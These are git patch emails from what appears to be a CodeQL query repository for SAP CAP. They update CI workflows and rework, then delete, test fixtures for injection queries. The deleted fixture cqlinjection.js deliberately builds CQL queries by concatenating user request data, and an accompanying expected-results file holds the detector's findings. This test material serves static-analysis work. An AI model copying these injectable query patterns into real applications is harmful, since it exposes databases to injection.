From a98747e5418391369a6d89df9d57e9ecceaa9f73 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 17:29:45 -0700
Subject: [PATCH 72/86] Update run-codeql-unit-tests-javascript.yml

---
 .github/workflows/run-codeql-unit-tests-javascript.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml
index c1d2a57c3..481ab03bb 100644
--- a/.github/workflows/run-codeql-unit-tests-javascript.yml
+++ b/.github/workflows/run-codeql-unit-tests-javascript.yml
@@ -81,7 +81,7 @@ jobs:
         run: |
           if ! command -v cds &> /dev/null
           then
-            npm install -g @sap/cds
+            npm install -g @sap/cds-dk
           fi
 
       # Compile .cds files to .cds.json files.

From e9df24833b818e7c37c4740d457ae7c3a5291c3b Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 11:00:44 -0700
Subject: [PATCH 73/86] Update sqlinjection to appease batch CDS compilation

---
 .../sqlinjection/sample-app/package.json      | 34 ++++++++++++-------
 .../queries/sqlinjection/sample-app/server.js | 14 ++------
 .../sqlinjection/sample-app/srv/Service1.cds  | 18 +++++-----
 .../sqlinjection/sample-app/srv/Service2.cds  | 17 +++++-----
 4 files changed, 44 insertions(+), 39 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
index 0bf35981c..768271d11 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
@@ -1,13 +1,23 @@
 {
-  "name": "@advanced-security/sql-injection",
-  "version": "1.0.0",
-  "dependencies": {
-    "@cap-js/sqlite": "*",
-    "@sap/cds": "^7",
-    "express": "^4.17.1"
-  },
-  "scripts": {
-    "start": "cds-serve",
-    "watch": "cds watch"
-  }
-}
+    "name": "@advanced-security/sql-injection",
+    "version": "1.0.0",
+    "dependencies": {
+        "@sap/cds": "^7",
+        "express": "^4.17.1",
+        "@cap-js/sqlite": "*"
+    },
+    "scripts": {
+        "start": "cds-serve",
+        "watch": "cds watch"
+    },
+    "cds": {
+        "requires": {
+            "service-1": {
+                "impl": "srv/service1.js"
+            },
+            "service-2": {
+                "impl": "srv/service2.js"
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
index c1966545f..49440b5fc 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
@@ -1,12 +1,4 @@
-const cds = require("@sap/cds");
-const Service1 = await cds.connect.to("Service1");
+const cds = require('@sap/cds');
+const app = require('express')();
 
-cds.once("bootstrap", (app) => {
-    app.serve("/sql-injection").from("@advanced-security/log-injection");
-});
-
-/* Upon receiving "Received1" event emitted by Service1, make Service2 run a CQL query. */
-Service1.on("Received1", async (msg) => {
-    const { messageToPass } = msg.data;
-    await Service2.run(SELECT.from `Service2Entity`.where(`Attribute3=${messageToPass}`));
-})
+cds.serve('all').in(app);
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds
index 41d6ce4c9..af78c5e1f 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds
@@ -1,11 +1,13 @@
-using { advanced-security.log-injection.sample-entities as db-schema } from '../db/schema';
+using { advanced_security.sql_injection.sample_entities as db_schema } from '../db/schema';
 
-service Service1 {
-  /* Entity to send READ about. */
-  entity Service1Entity as projection on db-schema.Entity1 excluding { Attribute2 }
+@protocol: 'none'
+service Service1 @(path: '/service-1') {
+  /* Entity to send READ/GET about. */
+  entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
 
-  /* Async API for Service1 to speak through. */
-  event Received1: {
-    messageToPass : String;
-  }
+  /* API to talk to Service1. */
+  action send1 (
+    messageToPass : String
+  ) returns String;
 }
+
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
index 7d9d1ce5d..4d1938ff5 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
@@ -1,11 +1,12 @@
-using { advanced-security.log-injection.sample-entities as db-schema } from '../db/schema';
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
 
-service Service2 {
-  /* Entity to SELECT from. */
-  entity Service2Entity as projection on db-schema.Entity2 excluding { Attribute4 }
+@protocol: 'none'
+service Service2 @(path: '/service-2') {
+  /* Entity to send READ/GET about. */
+  entity Service2Entity as projection on db_schema.Entity2 excluding { Attribute4 }
 
-    /* Async API to talk to Service2. */
-  event Received2: {
-    messageToPass : String;
-  }
+  /* API to talk to Service2. */
+  action send2 (
+    messageToPass: String
+  ) returns String;
 }

From 24748e5ae5b66e6b6b550ffc5f691c127cfdc169 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 13:23:01 -0700
Subject: [PATCH 74/86] Fix `using` path

---
 .../cap/test/queries/sqlinjection/sample-app/srv/Service2.cds   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
index 4d1938ff5..e71ec0a26 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
@@ -1,4 +1,4 @@
-using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+using { advanced_security.sql_injection.sample_entities as db_schema } from '../db/schema';
 
 @protocol: 'none'
 service Service2 @(path: '/service-2') {

From 69e4590ec4ddfae2a7cf91f908fd499e7a7d8996 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 13:30:14 -0700
Subject: [PATCH 75/86] Add a debug echo in the workflows

---
 .github/workflows/code_scanning.yml                    | 1 +
 .github/workflows/run-codeql-unit-tests-javascript.yml | 1 +
 2 files changed, 2 insertions(+)

diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml
index c001bbeb3..d6cc88523 100644
--- a/.github/workflows/code_scanning.yml
+++ b/.github/workflows/code_scanning.yml
@@ -61,6 +61,7 @@ jobs:
           cd $dir
           for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
           do
+            echo "I am compiling $cds_file"
             cds compile $cds_file \
               -2 json \
               -o "$(dirname $cds_file)/$cds_file.json"
diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml
index 481ab03bb..e792f712a 100644
--- a/.github/workflows/run-codeql-unit-tests-javascript.yml
+++ b/.github/workflows/run-codeql-unit-tests-javascript.yml
@@ -94,6 +94,7 @@ jobs:
             cd $dir
             for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
             do
+              echo "I am compiling $cds_file"
               cds compile $cds_file \
                 -2 json \
                 -o "$(dirname $cds_file)/$cds_file.json"

From c9219f78c4c8302149ac8113aa44f032a689ad65 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 13:35:09 -0700
Subject: [PATCH 76/86] Add debug echo

---
 .github/workflows/code_scanning.yml                    | 1 +
 .github/workflows/run-codeql-unit-tests-javascript.yml | 1 +
 2 files changed, 2 insertions(+)

diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml
index d6cc88523..2b340f006 100644
--- a/.github/workflows/code_scanning.yml
+++ b/.github/workflows/code_scanning.yml
@@ -59,6 +59,7 @@ jobs:
         for dir in */
         do
           cd $dir
+          echo "I am in $dir"
           for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
           do
             echo "I am compiling $cds_file"
diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml
index e792f712a..243923474 100644
--- a/.github/workflows/run-codeql-unit-tests-javascript.yml
+++ b/.github/workflows/run-codeql-unit-tests-javascript.yml
@@ -92,6 +92,7 @@ jobs:
           for dir in */
           do
             cd $dir
+            echo "I am in $dir"
             for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
             do
               echo "I am compiling $cds_file"

From 60e35507059a37c111bf2b56b6a2feb01b288dfe Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 13:48:14 -0700
Subject: [PATCH 77/86] Rename files

---
 .../sample-app/srv/{Service1.cds => service1-new.cds}             | 0
 .../sqlinjection/sample-app/srv/{Service1.js => service1-new.js}  | 0
 .../sample-app/srv/{Service2.cds => service2-new.cds}             | 0
 .../sqlinjection/sample-app/srv/{Service2.js => service2-new.js}  | 0
 4 files changed, 0 insertions(+), 0 deletions(-)
 rename javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/{Service1.cds => service1-new.cds} (100%)
 rename javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/{Service1.js => service1-new.js} (100%)
 rename javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/{Service2.cds => service2-new.cds} (100%)
 rename javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/{Service2.js => service2-new.js} (100%)

diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1-new.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds
rename to javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1-new.cds
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1-new.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
rename to javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1-new.js
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2-new.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
rename to javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2-new.cds
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2-new.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js
rename to javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2-new.js

From cb9a9f6cd95a949a594d734307d2986868208704 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 13:49:03 -0700
Subject: [PATCH 78/86] Rename files

---
 .../sample-app/srv/{service1-new.cds => service1.cds}             | 0
 .../sqlinjection/sample-app/srv/{service1-new.js => service1.js}  | 0
 .../sample-app/srv/{service2-new.cds => service2.cds}             | 0
 .../sqlinjection/sample-app/srv/{service2-new.js => service2.js}  | 0
 4 files changed, 0 insertions(+), 0 deletions(-)
 rename javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/{service1-new.cds => service1.cds} (100%)
 rename javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/{service1-new.js => service1.js} (100%)
 rename javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/{service2-new.cds => service2.cds} (100%)
 rename javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/{service2-new.js => service2.js} (100%)

diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1-new.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1-new.cds
rename to javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.cds
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1-new.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1-new.js
rename to javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.js
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2-new.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.cds
similarity index 100%
rename from javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2-new.cds
rename to javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.cds
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2-new.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.js
similarity index 100%
rename from javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2-new.js
rename to javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.js

From ad38212ca7ea288416b93334cb5bda82372f069d Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 14:01:05 -0700
Subject: [PATCH 79/86] Delete cqlinjection and sqlinjection

---
 .../cqlinjection/cqlinjection.expected        | 84 -------------------
 .../test/queries/cqlinjection/cqlinjection.js | 50 -----------
 .../queries/cqlinjection/cqlinjection.qlref   |  1 -
 .../queries/sqlinjection/sample-app/README.md |  3 -
 .../sqlinjection/sample-app/package.json      | 23 -----
 .../queries/sqlinjection/sample-app/server.js |  4 -
 .../sqlinjection/sample-app/srv/service1.cds  | 13 ---
 .../sqlinjection/sample-app/srv/service1.js   | 12 ---
 .../sqlinjection/sample-app/srv/service2.cds  | 12 ---
 .../sqlinjection/sample-app/srv/service2.js   |  4 -
 10 files changed, 206 deletions(-)
 delete mode 100644 javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.expected
 delete mode 100644 javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js
 delete mode 100644 javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.qlref
 delete mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/README.md
 delete mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
 delete mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
 delete mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.cds
 delete mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.js
 delete mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.cds
 delete mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.js

diff --git a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.expected b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.expected
deleted file mode 100644
index 76317f305..000000000
--- a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.expected
+++ /dev/null
@@ -1,84 +0,0 @@
-nodes
-| cqlinjection.js:7:34:7:36 | req |
-| cqlinjection.js:7:34:7:36 | req |
-| cqlinjection.js:8:13:8:30 | { book, quantity } |
-| cqlinjection.js:8:13:8:41 | book |
-| cqlinjection.js:8:15:8:18 | book |
-| cqlinjection.js:8:34:8:36 | req |
-| cqlinjection.js:8:34:8:41 | req.data |
-| cqlinjection.js:12:11:12:56 | query |
-| cqlinjection.js:12:19:12:56 | SELECT. ... book}`) |
-| cqlinjection.js:12:44:12:55 | `ID=${book}` |
-| cqlinjection.js:12:50:12:53 | book |
-| cqlinjection.js:13:36:13:40 | query |
-| cqlinjection.js:13:36:13:40 | query |
-| cqlinjection.js:15:27:15:64 | SELECT. ... book}`) |
-| cqlinjection.js:15:27:15:64 | SELECT. ... book}`) |
-| cqlinjection.js:15:52:15:63 | `ID=${book}` |
-| cqlinjection.js:15:58:15:61 | book |
-| cqlinjection.js:17:11:17:57 | query2 |
-| cqlinjection.js:17:20:17:57 | SELECT. ... + book) |
-| cqlinjection.js:17:45:17:56 | 'ID=' + book |
-| cqlinjection.js:17:53:17:56 | book |
-| cqlinjection.js:18:37:18:42 | query2 |
-| cqlinjection.js:18:37:18:42 | query2 |
-| cqlinjection.js:20:27:20:64 | SELECT. ... + book) |
-| cqlinjection.js:20:27:20:64 | SELECT. ... + book) |
-| cqlinjection.js:20:52:20:63 | 'ID=' + book |
-| cqlinjection.js:20:60:20:63 | book |
-| cqlinjection.js:27:11:27:62 | cqn |
-| cqlinjection.js:27:17:27:62 | CQL`SEL ...  + book |
-| cqlinjection.js:27:59:27:62 | book |
-| cqlinjection.js:28:39:28:41 | cqn |
-| cqlinjection.js:28:39:28:41 | cqn |
-| cqlinjection.js:30:11:30:60 | cqn1 |
-| cqlinjection.js:30:18:30:60 | cds.par ... + book) |
-| cqlinjection.js:30:32:30:59 | `SELECT ...  + book |
-| cqlinjection.js:30:56:30:59 | book |
-| cqlinjection.js:31:39:31:42 | cqn1 |
-| cqlinjection.js:31:39:31:42 | cqn1 |
-edges
-| cqlinjection.js:7:34:7:36 | req | cqlinjection.js:8:34:8:36 | req |
-| cqlinjection.js:7:34:7:36 | req | cqlinjection.js:8:34:8:36 | req |
-| cqlinjection.js:8:13:8:30 | { book, quantity } | cqlinjection.js:8:15:8:18 | book |
-| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:12:50:12:53 | book |
-| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:15:58:15:61 | book |
-| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:17:53:17:56 | book |
-| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:20:60:20:63 | book |
-| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:27:59:27:62 | book |
-| cqlinjection.js:8:13:8:41 | book | cqlinjection.js:30:56:30:59 | book |
-| cqlinjection.js:8:15:8:18 | book | cqlinjection.js:8:13:8:41 | book |
-| cqlinjection.js:8:34:8:36 | req | cqlinjection.js:8:34:8:41 | req.data |
-| cqlinjection.js:8:34:8:41 | req.data | cqlinjection.js:8:13:8:30 | { book, quantity } |
-| cqlinjection.js:12:11:12:56 | query | cqlinjection.js:13:36:13:40 | query |
-| cqlinjection.js:12:11:12:56 | query | cqlinjection.js:13:36:13:40 | query |
-| cqlinjection.js:12:19:12:56 | SELECT. ... book}`) | cqlinjection.js:12:11:12:56 | query |
-| cqlinjection.js:12:44:12:55 | `ID=${book}` | cqlinjection.js:12:19:12:56 | SELECT. ... book}`) |
-| cqlinjection.js:12:50:12:53 | book | cqlinjection.js:12:44:12:55 | `ID=${book}` |
-| cqlinjection.js:15:52:15:63 | `ID=${book}` | cqlinjection.js:15:27:15:64 | SELECT. ... book}`) |
-| cqlinjection.js:15:52:15:63 | `ID=${book}` | cqlinjection.js:15:27:15:64 | SELECT. ... book}`) |
-| cqlinjection.js:15:58:15:61 | book | cqlinjection.js:15:52:15:63 | `ID=${book}` |
-| cqlinjection.js:17:11:17:57 | query2 | cqlinjection.js:18:37:18:42 | query2 |
-| cqlinjection.js:17:11:17:57 | query2 | cqlinjection.js:18:37:18:42 | query2 |
-| cqlinjection.js:17:20:17:57 | SELECT. ... + book) | cqlinjection.js:17:11:17:57 | query2 |
-| cqlinjection.js:17:45:17:56 | 'ID=' + book | cqlinjection.js:17:20:17:57 | SELECT. ... + book) |
-| cqlinjection.js:17:53:17:56 | book | cqlinjection.js:17:45:17:56 | 'ID=' + book |
-| cqlinjection.js:20:52:20:63 | 'ID=' + book | cqlinjection.js:20:27:20:64 | SELECT. ... + book) |
-| cqlinjection.js:20:52:20:63 | 'ID=' + book | cqlinjection.js:20:27:20:64 | SELECT. ... + book) |
-| cqlinjection.js:20:60:20:63 | book | cqlinjection.js:20:52:20:63 | 'ID=' + book |
-| cqlinjection.js:27:11:27:62 | cqn | cqlinjection.js:28:39:28:41 | cqn |
-| cqlinjection.js:27:11:27:62 | cqn | cqlinjection.js:28:39:28:41 | cqn |
-| cqlinjection.js:27:17:27:62 | CQL`SEL ...  + book | cqlinjection.js:27:11:27:62 | cqn |
-| cqlinjection.js:27:59:27:62 | book | cqlinjection.js:27:17:27:62 | CQL`SEL ...  + book |
-| cqlinjection.js:30:11:30:60 | cqn1 | cqlinjection.js:31:39:31:42 | cqn1 |
-| cqlinjection.js:30:11:30:60 | cqn1 | cqlinjection.js:31:39:31:42 | cqn1 |
-| cqlinjection.js:30:18:30:60 | cds.par ... + book) | cqlinjection.js:30:11:30:60 | cqn1 |
-| cqlinjection.js:30:32:30:59 | `SELECT ...  + book | cqlinjection.js:30:18:30:60 | cds.par ... + book) |
-| cqlinjection.js:30:56:30:59 | book | cqlinjection.js:30:32:30:59 | `SELECT ...  + book |
-#select
-| cqlinjection.js:13:36:13:40 | query | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:13:36:13:40 | query | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
-| cqlinjection.js:15:27:15:64 | SELECT. ... book}`) | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:15:27:15:64 | SELECT. ... book}`) | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
-| cqlinjection.js:18:37:18:42 | query2 | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:18:37:18:42 | query2 | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
-| cqlinjection.js:20:27:20:64 | SELECT. ... + book) | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:20:27:20:64 | SELECT. ... + book) | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
-| cqlinjection.js:28:39:28:41 | cqn | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:28:39:28:41 | cqn | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
-| cqlinjection.js:31:39:31:42 | cqn1 | cqlinjection.js:7:34:7:36 | req | cqlinjection.js:31:39:31:42 | cqn1 | This query depends on a $@. | cqlinjection.js:7:34:7:36 | req | user-provided value |
diff --git a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js
deleted file mode 100644
index ee16c5c9b..000000000
--- a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js
+++ /dev/null
@@ -1,50 +0,0 @@
-import cds from '@sap/cds'
-const { Books } = cds.entities('sap.capire.bookshop')
-
-class SampleVulnService extends cds.ApplicationService {
-  init() {
-    // contains a sample CQL injection
-    this.on('submitOrder', async req => {
-      const { book, quantity } = req.data
-
-      let { stock } = await SELECT`stock`.from(Books, book)
-
-      let query = SELECT.from`Books`.where(`ID=${book}`)
-      let books = await cds.db.run(query) // CQL injection alert
-
-      let books11 = await SELECT.from`Books`.where(`ID=${book}`) // CQL injection alert
-
-      let query2 = SELECT.from`Books`.where('ID=' + book)
-      let books2 = await cds.db.run(query2) // CQL injection alert
-
-      let books22 = await SELECT.from`Books`.where('ID=' + book) // CQL injection alert
-
-      let books3 = await SELECT.from`Books`.where`ID=${book}` //safe
-
-      let id = 2
-      let books33 = await SELECT.from`Books`.where('ID=' + id) //safe
-
-      let cqn = CQL`SELECT col1, col2, col3 from Books` + book
-      let books222 = await cds.db.run(cqn) // CQL injection alert
-
-      let cqn1 = cds.parse.cql(`SELECT * from Books` + book)
-      let books111 = await cds.db.run(cqn1) // CQL injection alert
-
-      const pg = require("pg"),
-        pool = new pg.Pool(config);
-      pool.query(req.params.category, [], function (err, results) { // non-CQL injection alert from CAP source
-        // process results
-      });
-
-      const app = require("express")();
-      app.get("search", function handler(req2, res) {
-        pool.query(req2.params.category, [], function (err, results) { // non-CQL injection alert from non-CAP source
-          // process results
-        });
-      });
-
-      return super.init()
-    })
-  }
-}
-export { SampleVulnService }
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.qlref b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.qlref
deleted file mode 100644
index d6231d2ad..000000000
--- a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.qlref
+++ /dev/null
@@ -1 +0,0 @@
-cqlinjection/CqlInjection.ql
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/README.md b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/README.md
deleted file mode 100644
index 567f3b7df..000000000
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/README.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# SQL Injection PoC
-
-This application demonstrates the possibility of an SQL injection through communications between several `ApplicationService`s and a `DatabaseService`, eventually sinking to a SQLite database.
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
deleted file mode 100644
index 768271d11..000000000
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
+++ /dev/null
@@ -1,23 +0,0 @@
-{
-    "name": "@advanced-security/sql-injection",
-    "version": "1.0.0",
-    "dependencies": {
-        "@sap/cds": "^7",
-        "express": "^4.17.1",
-        "@cap-js/sqlite": "*"
-    },
-    "scripts": {
-        "start": "cds-serve",
-        "watch": "cds watch"
-    },
-    "cds": {
-        "requires": {
-            "service-1": {
-                "impl": "srv/service1.js"
-            },
-            "service-2": {
-                "impl": "srv/service2.js"
-            }
-        }
-    }
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
deleted file mode 100644
index 49440b5fc..000000000
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
+++ /dev/null
@@ -1,4 +0,0 @@
-const cds = require('@sap/cds');
-const app = require('express')();
-
-cds.serve('all').in(app);
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.cds
deleted file mode 100644
index af78c5e1f..000000000
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.cds
+++ /dev/null
@@ -1,13 +0,0 @@
-using { advanced_security.sql_injection.sample_entities as db_schema } from '../db/schema';
-
-@protocol: 'none'
-service Service1 @(path: '/service-1') {
-  /* Entity to send READ/GET about. */
-  entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
-
-  /* API to talk to Service1. */
-  action send1 (
-    messageToPass : String
-  ) returns String;
-}
-
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.js
deleted file mode 100644
index f1d767bcc..000000000
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service1.js
+++ /dev/null
@@ -1,12 +0,0 @@
-const cds = require("@sap/cds");
-
-/* Emit a "Received1" event upon receiving a READ request on its entity. */
-module.exports = class Service1 extends cds.ApplicationService {
-    init() {
-        this.on("READ", "Service1Entity/Attribute1", (req) => {
-            const { messageToPass } = req.data;
-            this.emit("Received1", { messageToPass });
-        });
-    }
-    
-}
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.cds
deleted file mode 100644
index e71ec0a26..000000000
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.cds
+++ /dev/null
@@ -1,12 +0,0 @@
-using { advanced_security.sql_injection.sample_entities as db_schema } from '../db/schema';
-
-@protocol: 'none'
-service Service2 @(path: '/service-2') {
-  /* Entity to send READ/GET about. */
-  entity Service2Entity as projection on db_schema.Entity2 excluding { Attribute4 }
-
-  /* API to talk to Service2. */
-  action send2 (
-    messageToPass: String
-  ) returns String;
-}
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.js
deleted file mode 100644
index 577834b44..000000000
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/service2.js
+++ /dev/null
@@ -1,4 +0,0 @@
-const cds = require("@sap/cds");
-const LOG = cds.log("logger");
-
-module.exports = cds.service.impl(() => { });

From 3406c277fdb0b9c15165ec65f0108bfb25fa0146 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 14:18:51 -0700
Subject: [PATCH 80/86] update javascript.sarif.expected

---
 .github/workflows/javascript.sarif.expected | 4462 ++++++++-----------
 1 file changed, 1949 insertions(+), 2513 deletions(-)

diff --git a/.github/workflows/javascript.sarif.expected b/.github/workflows/javascript.sarif.expected
index 619cca50c..a99d7e614 100644
--- a/.github/workflows/javascript.sarif.expected
+++ b/.github/workflows/javascript.sarif.expected
@@ -6,7 +6,7 @@
